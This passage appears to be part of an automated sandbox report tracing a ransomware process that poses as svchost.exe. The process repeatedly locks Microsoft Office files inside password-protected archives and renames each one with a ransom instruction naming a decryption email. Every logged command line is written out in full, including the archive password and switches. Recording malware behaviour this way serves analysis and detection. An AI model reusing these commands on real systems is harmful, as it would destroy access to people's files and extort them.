                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN120.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN120.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN121.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN121.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PG_INDEX.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PG_INDEX.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PersonaSpy\notice.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PersonaSpy\notice.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\POWERPNT.VisualElementsManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\POWERPNT.VisualElementsManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4184
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\SAMPLES\SOLVSAMP.XLS(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\SAMPLES\SOLVSAMP.XLS" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-addtotable-dark.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-addtotable-dark.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-addtotable.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-addtotable.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2416
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4432
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-checkmark.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-checkmark.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-flag-dark.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-flag-dark.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1720
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5872
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3608
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-flag.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-flag.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5308
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6056
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-linkedentity-dark.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-linkedentity-dark.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2772
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
